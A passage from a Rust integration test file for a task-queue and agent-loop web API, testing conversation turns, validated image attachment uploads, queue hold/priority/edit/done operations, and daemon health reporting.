6957 .iter()
6958 .find(|talk| talk["id"] == *id)
6959 .unwrap();
6960 assert_eq!(view["thinking"], true, "{listed}");
6961 }
6962 let repeated = f
6963 .post(
6964 &format!("/api/talks/{id_a}/say"),
6965 Some(r#"{"text":"again"}"#),
6966 )
6967 .await;
6968 assert_eq!(repeated.status, 202, "{}", repeated.body);
6969 assert_eq!(repeated.json()["pending"], "again");
6970 }
6971
6972 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
6975
6976 #[tokio::test]
6977 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
6978 let f = Fixture::start().await;
6979 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
6980
6981 let res = f
6982 .post_bytes(
6983 &format!("/api/talks/{id}/attachments"),
6984 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
6985 PNG_BYTES,
6986 )
6987 .await;
6988 assert_eq!(res.status, 201, "{}", res.body);
6989 let body = res.json();
6990 assert_eq!(body["name"], "shot.png");
6991 assert_eq!(body["mime"], "image/png");
6992 assert_eq!(body["bytes"], PNG_BYTES.len());
6993 let att_id = body["id"].as_str().expect("id").to_owned();
6994 assert_eq!(
6995 att_id.len(),
6996 32,
6997 "the id must never be a client-suppliable path: {att_id}"
6998 );
6999
7000 let got = f
7001 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
7002 .await;
7003 assert_eq!(got.status, 200, "{}", got.body);
7004 assert_eq!(got.header("content-type"), Some("image/png"));
7005 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
7006 assert_eq!(got.bytes, PNG_BYTES);
7007 }
7008
7009 #[tokio::test]
7010 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
7011 let f = Fixture::start().await;
7012 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
7013
7014 let svg = f
7017 .post_bytes(
7018 &format!("/api/talks/{id}/attachments"),
7019 &[("Content-Type", "image/svg+xml")],
7020 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
7021 )
7022 .await;
7023 assert!(
7024 (400..500).contains(&svg.status),
7025 "svg must be refused: {} {}",
7026 svg.status,
7027 svg.body
7028 );
7029 assert!(svg.body.contains("SVG"), "{}", svg.body);
7030
7031 let text = f
7032 .post_bytes(
7033 &format!("/api/talks/{id}/attachments"),
7034 &[("Content-Type", "text/plain")],
7035 b"just some text",
7036 )
7037 .await;
7038 assert!(
7039 (400..500).contains(&text.status),
7040 "an unlisted type must be refused: {} {}",
7041 text.status,
7042 text.body
7043 );
7044
7045 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
7048 let big = f
7049 .post_bytes(
7050 &format!("/api/talks/{id}/attachments"),
7051 &[("Content-Type", "image/png")],
7052 &oversized,
7053 )
7054 .await;
7055 assert_eq!(
7056 big.status,
7057 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
7058 "{}",
7059 big.body
7060 );
7061 }
7062
7063 #[tokio::test]
7064 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
7065 let f = Fixture::start().await;
7066 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
7067
7068 let res = f
7071 .post_bytes(
7072 &format!("/api/talks/{id}/attachments"),
7073 &[("Content-Type", "image/png")],
7074 b"<html>not a picture</html>",
7075 )
7076 .await;
7077 assert!((400..500).contains(&res.status), "{}", res.body);
7078 }
7079
7080 #[tokio::test]
7081 async fn an_unknown_attachment_id_is_a_404() {
7082 let f = Fixture::start().await;
7083 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
7084
7085 let res = f
7086 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
7087 .await;
7088 assert_eq!(res.status, 404, "{}", res.body);
7089 }
7090
7091 #[tokio::test]
7092 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
7093 let f = Fixture::start().await;
7094 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
7095
7096 let uploaded = f
7097 .post_bytes(
7098 &format!("/api/talks/{id}/attachments"),
7099 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
7100 PNG_BYTES,
7101 )
7102 .await;
7103 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
7104 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
7105
7106 let res = f
7107 .post(
7108 &format!("/api/talks/{id}/say"),
7109 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
7110 )
7111 .await;
7112 assert_eq!(res.status, 202, "{}", res.body);
7113 let queued = res.json();
7114 let turns = queued["turns"].as_array().expect("turns array");
7115 assert_eq!(
7116 turns.len(),
7117 1,
7118 "an empty body with an attachment is still a turn: {queued}"
7119 );
7120 assert_eq!(turns[0]["who"], "operator");
7121 assert_eq!(turns[0]["body"], "");
7122 let atts = turns[0]["attachments"]
7123 .as_array()
7124 .expect("attachments array");
7125 assert_eq!(atts.len(), 1);
7126 assert_eq!(atts[0]["id"], att_id);
7127 assert_eq!(atts[0]["mime"], "image/png");
7128
7129 let on_disk = f.talks().get(&id).expect("get");
7132 assert_eq!(on_disk.turns[0].attachments.len(), 1);
7133 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
7134 }
7135
7136 #[tokio::test]
7137 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
7138 let f = Fixture::start().await;
7139 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
7140
7141 let res = f
7142 .post(
7143 &format!("/api/talks/{id}/say"),
7144 Some(&format!(
7145 r#"{{"text":"hi","attachments":["{}"]}}"#,
7146 "a".repeat(32)
7147 )),
7148 )
7149 .await;
7150 assert!((400..500).contains(&res.status), "{}", res.body);
7151 assert!(res.body.contains("unknown attachment"), "{}", res.body);
7152
7153 let on_disk = f.talks().get(&id).expect("get");
7154 assert!(
7155 on_disk.turns.is_empty(),
7156 "a rejected attachment id must not partially record the turn: {:?}",
7157 on_disk.turns
7158 );
7159 }
7160
7161 #[tokio::test]
7162 async fn talk_close_makes_the_talk_refuse_further_turns() {
7163 let f = Fixture::start().await;
7164 let id = seed_talk(&f, "20260904-014455-cd34", "open");
7165
7166 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
7167 assert_eq!(closed.status, 200, "{}", closed.body);
7168 assert_eq!(closed.json()["status"], "closed");
7169
7170 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
7172 assert_eq!(closed_again.status, 200);
7173 assert_eq!(closed_again.json()["status"], "closed");
7174
7175 let said = f
7176 .post(
7177 &format!("/api/talks/{id}/say"),
7178 Some(r#"{"text":"too late"}"#),
7179 )
7180 .await;
7181 assert_eq!(said.status, 409, "{}", said.body);
7182 }
7183
7184 #[tokio::test]
7185 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
7186 let (_tmp, _repo, f) = talk_fixture().await;
7187 let id = f.post("/api/talks", None).await.json()["id"]
7188 .as_str()
7189 .expect("id")
7190 .to_owned();
7191 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
7192 assert_eq!(closed.status, 200, "{}", closed.body);
7193
7194 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
7195 assert_eq!(reopened.status, 200, "{}", reopened.body);
7196 assert_eq!(reopened.json()["status"], "open");
7197
7198 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
7200 assert_eq!(reopened_again.status, 200);
7201 assert_eq!(reopened_again.json()["status"], "open");
7202
7203 let said = f
7204 .post(
7205 &format!("/api/talks/{id}/say"),
7206 Some(r#"{"text":"still there?"}"#),
7207 )
7208 .await;
7209 assert_eq!(
7210 said.status, 202,
7211 "a reopened talk accepts turns again: {}",
7212 said.body
7213 );
7214 }
7215
7216 #[tokio::test]
7217 async fn talk_reopen_on_an_unknown_id_is_404() {
7218 let f = Fixture::start().await;
7219 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
7220 assert_eq!(res.status, 404, "{}", res.body);
7221 }
7222
7223 #[tokio::test]
7224 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
7225 let f = Fixture::start().await;
7226 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
7227
7228 let deleted = f.delete(&format!("/api/talks/{id}")).await;
7229 assert_eq!(deleted.status, 204, "{}", deleted.body);
7230
7231 let after = f.get(&format!("/api/talks/{id}")).await;
7232 assert_eq!(after.status, 404, "{}", after.body);
7233
7234 let listed = f.get("/api/talks").await.json();
7235 assert!(
7236 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
7237 "a deleted talk must not linger in the list: {listed}"
7238 );
7239 }
7240
7241 #[tokio::test]
7242 async fn talk_delete_on_an_unknown_id_is_404() {
7243 let f = Fixture::start().await;
7244 let res = f.delete("/api/talks/nonexistent-id").await;
7245 assert_eq!(res.status, 404, "{}", res.body);
7246 }
7247
7248 #[tokio::test]
7252 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
7253 let f = Fixture::start().await;
7254 let (a, b, gone) = (
7255 "20260902-140501-aaaa",
7256 "20260902-140502-bbbb",
7257 "20260902-140503-cccc",
7258 );
7259 write_run(&f.runs(), a, RunStatus::Stalled);
7260 let mut review = RunState::new(
7261 PathBuf::from("/repo/magi"),
7262 "main".to_owned(),
7263 "0123456789abcdef".to_owned(),
7264 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
7265 .to_owned(),
7266 Config::default(),
7267 );
7268 review.id = b.to_owned();
7269 review.status = RunStatus::Merged;
7270 write_state(&f.runs(), &review);
7271
7272 let mut task = Task::new(
7273 "retry".to_owned(),
7274 "Do the thing".to_owned(),
7275 PathBuf::from("/repo/magi"),
7276 Source::Human,
7277 );
7278 task.start(a.to_owned());
7279 task.stall("quota");
7280 task.start(a.to_owned());
7281 task.start(b.to_owned());
7282 task.start(gone.to_owned());
7283 f.queue().put(&mut task).expect("file the task");
7284
7285 let res = f.get(&format!("/api/queue/{}", task.id)).await;
7286 assert_eq!(res.status, 200, "{}", res.body);
7287 let v = res.json();
7288 let h = v["history"].as_array().expect("history");
7289 assert_eq!(h.len(), 4, "{v}");
7290 assert_eq!(h[0]["kind"], "competition");
7291 assert_eq!(h[0]["status"], "stalled");
7292 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
7293 assert_eq!(h[1]["kind"], "resume", "{v}");
7294 assert!(
7295 h[0]["outcome"]
7296 .as_str()
7297 .unwrap()
7298 .contains("handed back; pass #2"),
7299 "an earlier pass of a resumed run must not claim the final outcome: {v}"
7300 );
7301 assert!(
7302 !h[1]["outcome"].as_str().unwrap().contains("handed back."),
7303 "{v}"
7304 );
7305 assert_eq!(h[2]["kind"], "review");
7306 assert!(
7307 h[2]["description"]
7308 .as_str()
7309 .unwrap()
7310 .contains("magi/aaaa/A")
7311 );
7312 assert_eq!(h[2]["status"], "merged");
7313 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
7314 assert_eq!(v["runs_unreadable"], 1);
7315 assert_eq!(v["instruction"], "Do the thing");
7316 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
7317
7318 let run = f.get(&format!("/api/runs/{a}")).await.json();
7320 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
7321
7322 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
7323 }
7324
7325 #[test]
7328 fn a_parked_non_terminal_run_is_explained_as_parked() {
7329 let mut s = RunState::new(
7330 PathBuf::from("/repo/magi"),
7331 "main".to_owned(),
7332 "0123456789abcdef".to_owned(),
7333 "Do it".to_owned(),
7334 Config::default(),
7335 );
7336 s.status = RunStatus::Implementing;
7337 s.parked = true;
7338 let task = Task::new(
7339 "t".to_owned(),
7340 "Do it".to_owned(),
7341 PathBuf::from("/repo/magi"),
7342 Source::Human,
7343 );
7344 let v = task_run_view(
7345 "20260902-140501-aaaa",
7346 Some(&s),
7347 RunSlot {
7348 n: 1,
7349 resumed: false,
7350 resumed_later: None,
7351 prior: None,
7352 last: true,
7353 },
7354 &task,
7355 );
7356 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
7357 }
7358
7359 #[tokio::test]
7360 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
7361 let f = Fixture::start().await;
7362 let queue = f.queue();
7363 let mut task = Task::new(
7364 "spent".to_owned(),
7365 "Try again".to_owned(),
7366 PathBuf::from("/repo/magi"),
7367 Source::Human,
7368 );
7369 task.start("20260902-140502-bbbb".to_owned());
7370 task.fail("agent gave up", 9);
7371 queue.put(&mut task).expect("file the task");
7372
7373 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
7374 assert_eq!(held.status, 200);
7375 assert_eq!(held.json()["status_str"], "held");
7376
7377 let released = f
7378 .post(&format!("/api/queue/{}/release", task.id), None)
7379 .await;
7380 assert_eq!(released.status, 200);
7381 assert_eq!(released.json()["status_str"], "queued");
7382 assert_eq!(
7383 released.json()["attempts"],
7384 0,
7385 "release is a real second chance, not an instant re-hold"
7386 );
7387 assert_eq!(
7388 queue.get(&task.id).expect("reload").status,
7389 TaskStatus::Queued,
7390 "the change is on disk, not only in the reply"
7391 );
7392 assert!(
7393 !f.home
7394 .path()
7395 .join("queue")
7396 .join(format!("{}.lock", task.id))
7397 .exists(),
7398 "the claim the mutation took is released again"
7399 );
7400 }
7401
7402 #[tokio::test]
7403 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
7404 let f = Fixture::start().await;
7405 let queue = f.queue();
7406 let mut task = Task::new(
7407 "busy".to_owned(),
7408 "Running right now".to_owned(),
7409 PathBuf::from("/repo/magi"),
7410 Source::Human,
7411 );
7412 queue.put(&mut task).expect("file the task");
7413 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
7414
7415 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
7416
7417 assert_eq!(res.status, 409);
7418 assert_eq!(
7419 queue.get(&task.id).expect("reload").status,
7420 TaskStatus::Queued,
7421 "the refused hold changed nothing"
7422 );
7423 }
7424
7425 #[tokio::test]
7426 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
7427 let f = Fixture::start().await;
7428 let queue = f.queue();
7429 let mut task = Task::new(
7430 "waiting on the migration".to_owned(),
7431 "Do the thing".to_owned(),
7432 PathBuf::from("/repo/magi"),
7433 Source::Human,
7434 );
7435 queue.put(&mut task).expect("file the task");
7436
7437 let held = f
7438 .post(
7439 &format!("/api/queue/{}/hold", task.id),
7440 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
7441 )
7442 .await;
7443 assert_eq!(held.status, 200, "{}", held.body);
7444 assert_eq!(held.json()["status_str"], "held");
7445 assert_eq!(
7446 held.json()["hold_reason"],
7447 "waiting for 20260101-000000-aaaa to land"
7448 );
7449
7450 let listed = f.get("/api/queue").await.json();
7451 assert_eq!(
7452 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
7453 "the card reads the reason off the same list route"
7454 );
7455
7456 let mut plain = Task::new(
7459 "no reason given".to_owned(),
7460 "Do another thing".to_owned(),
7461 PathBuf::from("/repo/magi"),
7462 Source::Human,
7463 );
7464 queue.put(&mut plain).expect("file the task");
7465 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
7466 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
7467 assert!(held_plain.json()["hold_reason"].is_null());
7468
7469 let released = f
7470 .post(&format!("/api/queue/{}/release", task.id), None)
7471 .await;
7472 assert_eq!(released.status, 200);
7473 assert!(
7474 released.json()["hold_reason"].is_null(),
7475 "a release must clear the reason so the next hold does not inherit it"
7476 );
7477 }
7478
7479 #[tokio::test]
7480 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
7481 let f = Fixture::start().await;
7482 let queue = f.queue();
7483 let mut older = Task::new(
7484 "filed first".to_owned(),
7485 "x".to_owned(),
7486 PathBuf::from("/repo/magi"),
7487 Source::Human,
7488 );
7489 older.id = "20260101-000001-aaaa".to_owned();
7490 let mut newer = Task::new(
7491 "filed second".to_owned(),
7492 "x".to_owned(),
7493 PathBuf::from("/repo/magi"),
7494 Source::Human,
7495 );
7496 newer.id = "20260101-000002-bbbb".to_owned();
7497 queue.put(&mut older).expect("file older");
7498 queue.put(&mut newer).expect("file newer");
7499
7500 let before = f.get("/api/queue").await.json();
7503 assert_eq!(before[0]["id"], newer.id);
7504 assert_eq!(before[1]["id"], older.id);
7505
7506 let raised = f
7510 .post(
7511 &format!("/api/queue/{}/priority", older.id),
7512 Some(r#"{"priority":10}"#),
7513 )
7514 .await;
7515 assert_eq!(raised.status, 200, "{}", raised.body);
7516 assert_eq!(raised.json()["priority"], 10);
7517
7518 let after = f.get("/api/queue").await.json();
7519 let names: Vec<&str> = after
7520 .as_array()
7521 .unwrap()
7522 .iter()
7523 .map(|t| t["id"].as_str().unwrap())
7524 .collect();
7525 assert_eq!(names[0], older.id, "the raised task now sorts first");
7529 }
7530
7531 #[tokio::test]
7532 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
7533 let f = Fixture::start().await;
7534 let queue = f.queue();
7535 let mut task = Task::new(
7536 "in flight".to_owned(),
7537 "x".to_owned(),
7538 PathBuf::from("/repo/magi"),
7539 Source::Human,
7540 );
7541 task.start("20260902-140502-bbbb".to_owned());
7542 queue.put(&mut task).expect("file the task");
7543
7544 let res = f
7545 .post(
7546 &format!("/api/queue/{}/priority", task.id),
7547 Some(r#"{"priority":9}"#),
7548 )
7549 .await;
7550 assert_eq!(res.status, 400, "{}", res.body);
7551 assert!(
7552 res.json()["error"]
7553 .as_str()
7554 .is_some_and(|e| e.contains("running")),
7555 "{}",
7556 res.body
7557 );
7558 assert_eq!(
7559 queue.get(&task.id).expect("reload").priority,
7560 0,
7561 "the refused write must not partially apply"
7562 );
7563 }
7564
7565 #[tokio::test]
7566 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
7567 let f = Fixture::start().await;
7568 let queue = f.queue();
7569 let mut task = Task::new(
7570 "old title".to_owned(),
7571 "old instruction".to_owned(),
7572 PathBuf::from("/repo/magi"),
7573 Source::Agent {
7574 run: "20260101-000000-beef".to_owned(),
7575 node: "implement".to_owned(),
7576 },
7577 );
7578 task.runs.push("20260101-000000-beef".to_owned());
7579 queue.put(&mut task).expect("file the task");
7580 let created_at = task.created_at;
7581
7582 let edited = f
7583 .post(
7584 &format!("/api/queue/{}/edit", task.id),
7585 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
7586 )
7587 .await;
7588 assert_eq!(edited.status, 200, "{}", edited.body);
7589 let body = edited.json();
7590 assert_eq!(body["title"], "new title");
7591 assert_eq!(body["instruction"], "new instruction");
7592 assert_eq!(body["id"], task.id, "editing must not mint a new id");
7593 assert_eq!(body["created_at"], created_at.to_string());
7594 assert_eq!(
7595 body["source"]["kind"], "agent",
7596 "editing a task an agent filed must not turn it human: {body}"
7597 );
7598 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
7599
7600 let reloaded = queue.get(&task.id).expect("reload");
7601 assert_eq!(reloaded.title, "new title");
7602 assert_eq!(reloaded.instruction, "new instruction");
7603 }
7604
7605 #[tokio::test]
7606 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
7607 let f = Fixture::start().await;
7608 let queue = f.queue();
7609 let mut owner = Task::new(
7610 "owner".to_owned(),
7611 "review it".to_owned(),
7612 PathBuf::from("/repo/magi"),
7613 Source::Human,
7614 );
7615 owner.review_branch = Some("magi/ab12/A".to_owned());
7616 queue.put(&mut owner).expect("file the owner");
7617 let mut task = Task::new(
7618 "draft".to_owned(),
7619 "old".to_owned(),
7620 PathBuf::from("/repo/magi"),
7621 Source::Human,
7622 );
7623 queue.put(&mut task).expect("file the draft");
7624 let url = format!("/api/queue/{}/edit", task.id);
7625
7626 let refused = f
7627 .post(
7628 &url,
7629 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
7630 )
7631 .await;
7632 assert_eq!(refused.status, 409, "{}", refused.body);
7633 let msg = refused.json()["error"]
7634 .as_str()
7635 .unwrap_or_default()
7636 .to_owned();
7637 assert!(
7638 msg.contains("magi/ab12/A") && msg.contains("force"),
7639 "{msg}"
7640 );
7641 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
7642
7643 let forced = f
7644 .post(
7645 &url,
7646 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
7647 )
7648 .await;
7649 assert_eq!(forced.status, 200, "{}", forced.body);
7650 }
7651
7652 #[tokio::test]
7653 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
7654 let f = Fixture::start().await;
7655 let queue = f.queue();
7656 let mut task = Task::new(
7657 "in flight".to_owned(),
7658 "do not touch".to_owned(),
7659 PathBuf::from("/repo/magi"),
7660 Source::Human,
7661 );
7662 task.start("20260902-140502-bbbb".to_owned());
7663 queue.put(&mut task).expect("file the task");
7664
7665 let res = f
7666 .post(
7667 &format!("/api/queue/{}/edit", task.id),
7668 Some(r#"{"title":"x","instruction":"y"}"#),
7669 )
7670 .await;
7671 assert_eq!(res.status, 400, "{}", res.body);
7672 assert!(
7673 res.json()["error"]
7674 .as_str()
7675 .is_some_and(|e| e.contains("running")),
7676 "{}",
7677 res.body
7678 );
7679 assert_eq!(
7680 queue.get(&task.id).expect("reload").instruction,
7681 "do not touch",
7682 "the refused edit must not change the file"
7683 );
7684 }
7685
7686 #[tokio::test]
7687 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
7688 let f = Fixture::start().await;
7689 let queue = f.queue();
7690 let mut task = Task::new(
7691 "busy".to_owned(),
7692 "Running right now".to_owned(),
7693 PathBuf::from("/repo/magi"),
7694 Source::Human,
7695 );
7696 queue.put(&mut task).expect("file the task");
7697 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
7698
7699 let priority = f
7700 .post(
7701 &format!("/api/queue/{}/priority", task.id),
7702 Some(r#"{"priority":9}"#),
7703 )
7704 .await;
7705 assert_eq!(priority.status, 409, "{}", priority.body);
7706
7707 let edit = f
7708 .post(
7709 &format!("/api/queue/{}/edit", task.id),
7710 Some(r#"{"title":"x","instruction":"y"}"#),
7711 )
7712 .await;
7713 assert_eq!(edit.status, 409, "{}", edit.body);
7714 }
7715
7716 #[tokio::test]
7717 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
7718 let f = Fixture::start().await;
7719 let queue = f.queue();
7720 let mut task = Task::new(
7721 "shipped by hand".to_owned(),
7722 "merged outside the loop".to_owned(),
7723 PathBuf::from("/repo/magi"),
7724 Source::Agent {
7725 run: "20260101-000000-b455".to_owned(),
7726 node: "implement".to_owned(),
7727 },
7728 );
7729 task.runs.push("20260101-000000-b455".to_owned());
7730 task.runs.push("20260101-000000-9af4".to_owned());
7731 queue.put(&mut task).expect("file the task");
7732 let created_at = task.created_at;
7733
7734 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7735 assert_eq!(done.status, 200, "{}", done.body);
7736 assert_eq!(done.json()["status_str"], "done");
7737
7738 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
7739 assert_eq!(
7740 reloaded.runs,
7741 ["20260101-000000-b455", "20260101-000000-9af4"]
7742 );
7743 assert_eq!(
7744 reloaded.source,
7745 Source::Agent {
7746 run: "20260101-000000-b455".to_owned(),
7747 node: "implement".to_owned(),
7748 }
7749 );
7750 assert_eq!(reloaded.created_at, created_at);
7751 }
7752
7753 #[tokio::test]
7754 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
7755 let f = Fixture::start().await;
7760 let queue = f.queue();
7761 let mut task = Task::new(
7762 "landed while held".to_owned(),
7763 "x".to_owned(),
7764 PathBuf::from("/repo/magi"),
7765 Source::Human,
7766 );
7767 task.hold_manual(Some("waiting on 3ed9".to_owned()));
7768 queue.put(&mut task).expect("file the held task");
7769
7770 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7771 assert_eq!(done.status, 200, "{}", done.body);
7772 assert_eq!(done.json()["status_str"], "done");
7773 assert!(
7774 done.json()["hold_reason"].is_null(),
7775 "a done task cannot still be waiting on something: {}",
7776 done.body
7777 );
7778 }
7779
7780 #[tokio::test]
7781 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
7782 let f = Fixture::start().await;
7787 let queue = f.queue();
7788 let runs = f.runs();
7789 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
7790 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
7794
7795 let mut task = Task::new(
7796 "landed by hand".to_owned(),
7797 "x".to_owned(),
7798 PathBuf::from("/repo/magi"),
7799 Source::Human,
7800 );
7801 task.runs.push("20260101-000000-doa1".to_owned());
7802 task.runs.push("20260101-000000-doa2".to_owned());
7803 queue.put(&mut task).expect("file the task");
7804
7805 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7806 assert_eq!(done.status, 200, "{}", done.body);
7807
7808 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
7809 .expect("run still on disk under this fixture's own home");
7810 assert_eq!(
7811 reloaded_run.status,
7812 RunStatus::Superseded,
7813 "closing the task by hand must relabel the earlier blocked attempt exactly \
7814 like the loop's own settle path does"
7815 );
7816 }
7817
7818 #[tokio::test]
7819 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
7820 let f = Fixture::start().await;
7825 let queue = f.queue();
7826 let runs = f.runs();
7827 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
7828 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
7829
7830 let mut task = Task::new(
7831 "closed with nothing actually landed".to_owned(),
7832 "x".to_owned(),
7833 PathBuf::from("/repo/magi"),
7834 Source::Human,
7835 );
7836 task.runs.push("20260101-000000-dob1".to_owned());
7837 task.runs.push("20260101-000000-dob2".to_owned());
7838 queue.put(&mut task).expect("file the task");
7839
7840 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7841 assert_eq!(done.status, 200, "{}", done.body);
7842
7843 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
7844 .expect("run still on disk under this fixture's own home");
7845 assert_eq!(
7846 reloaded_run.status,
7847 RunStatus::Blocked,
7848 "the last recorded attempt never landed, so the earlier one must not be \
7849 relabelled as superseded by it"
7850 );
7851 }
7852
7853 #[tokio::test]
7854 async fn unknown_ids_are_json_not_found_on_both_stores() {
7855 let f = Fixture::start().await;
7856
7857 let run = f.get("/api/runs/nosuchrun").await;
7858 let task = f.post("/api/queue/nosuchtask/hold", None).await;
7859
7860 assert_eq!(run.status, 404);
7861 assert_eq!(task.status, 404);
7862 assert!(
7863 run.json()["error"]
7864 .as_str()
7865 .is_some_and(|e| e.contains("run")),
7866 "the error names what was not found: {}",
7867 run.body
7868 );
7869 assert!(
7870 task.json()["error"]
7871 .as_str()
7872 .is_some_and(|e| e.contains("task")),
7873 "the error names what was not found: {}",
7874 task.body
7875 );
7876 }
7877
7878 #[tokio::test]
7879 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
7880 let f = Fixture::start().await;
7881
7882 let missing = f.get("/api/health").await.json();
7883 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
7884
7885 write_daemon(
7886 f.home.path(),
7887 Timestamp::now() - jiff::SignedDuration::from_secs(60),
7888 );
7889 let stale = f.get("/api/health").await.json();
7890 assert_eq!(
7891 stale["daemon"]["running"], false,
7892 "a minute without a heartbeat is a dead daemon, not a busy one"
7893 );
7894 assert!(
7895 stale["daemon"]["stale_for_secs"]
7896 .as_i64()
7897 .is_some_and(|s| s >= 55),
7898 "staleness is reported so the UI can say how long: {stale}"
7899 );
7900
7901 write_daemon(f.home.path(), Timestamp::now());
7902 let fresh = f.get("/api/health").await.json();
7903 assert_eq!(fresh["daemon"]["running"], true);
7904 assert_eq!(fresh["daemon"]["idle"], false);
7905 assert_eq!(fresh["daemon"]["pid"], 4242);
7906 assert_eq!(fresh["daemon"]["completed"], 7);
7907 assert_eq!(
7908 fresh["daemon"]["current"][0]["task"],
7909 "20260902-140501-aaaa"
7910 );
7911 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
7912 }
7913
7914 #[tokio::test]
7915 async fn the_loop_is_not_running_until_something_starts_it() {
7916 let f = Fixture::start().await;
7917
7918 let view = f.get("/api/loop").await.json();
7919 assert_eq!(view["running"], false);
7920 assert_eq!(
7921 view["owned"], false,
7922 "nobody owns a loop that does not exist: {view}"
7923 );
7924 assert_eq!(view["stopping"], false);
7925 assert_eq!(view["last_error"], Value::Null);
7926 assert_eq!(view["daemon"]["running"], false);
7927 assert_eq!(
7928 view["repo"], "/repo/magi",
7929 "the repository a start would use, named before it is started"
7930 );
7931 }
7932
7933 #[tokio::test]
7934 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
7935 let f = Fixture::start().await;
7936
7937 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7938 assert_eq!(res.status, 200, "{}", res.body);
7939 let view = res.json();
7940 assert_eq!(view["running"], true);
7941 assert_eq!(
7942 view["owned"], true,
7943 "the loop the UI started is the UI's own to stop: {view}"
7944 );
7945 assert_eq!(
7946 view["merge"],
7947 Value::Null,
7948 "no override was given, so each repository's own config decides"
7949 );
7950
7951 let health = f.get("/api/health").await.json();
7955 assert_eq!(health["loop"]["running"], true, "{health}");
7956 assert_eq!(health["loop"]["owned"], true, "{health}");
7957
7958 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7959 }
7960
7961 #[tokio::test]
7962 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
7963 let f = Fixture::start().await;
